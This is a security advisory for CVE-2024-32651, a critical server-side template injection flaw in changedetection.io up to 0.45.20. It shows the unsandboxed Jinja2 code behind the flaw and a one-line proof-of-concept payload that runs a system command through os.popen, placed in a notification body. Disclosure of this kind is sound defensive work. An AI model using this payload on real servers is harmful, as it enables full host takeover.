Skip to content

Server Side Template Injection in Jinja2 allows Remote Command Execution

Critical
dgtlmoon published GHSA-4r7v-whpg-8rx3 Apr 25, 2024

Package

docker dgtlmoon/changedetection.io (Docker)

Affected versions

<= 0.45.20

Patched versions

0.45.21

Description

Summary

A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.

Details

changedetection.io version: 0.45.20

docker images
REPOSITORY                            TAG       IMAGE ID       CREATED        SIZE
dgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB

The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.

from jinja2 import Environment, BaseLoader
...
    # Get the notification body from datastore
    jinja2_env = Environment(loader=BaseLoader)
    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)

PoC

  1. Create/Edit a URL watch item
  2. Under Notifications tab insert this payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Screenshot from 2024-04-19 15-46-04

  1. See Telegram (or other supported messaging app) notification

Screenshot from 2024-04-19 16-02-12

Impact

In the PoC I've used id as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).

References

Credits

Edoardo Ottavianelli

Severity

Critical
10.0
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-32651

Weaknesses

Credits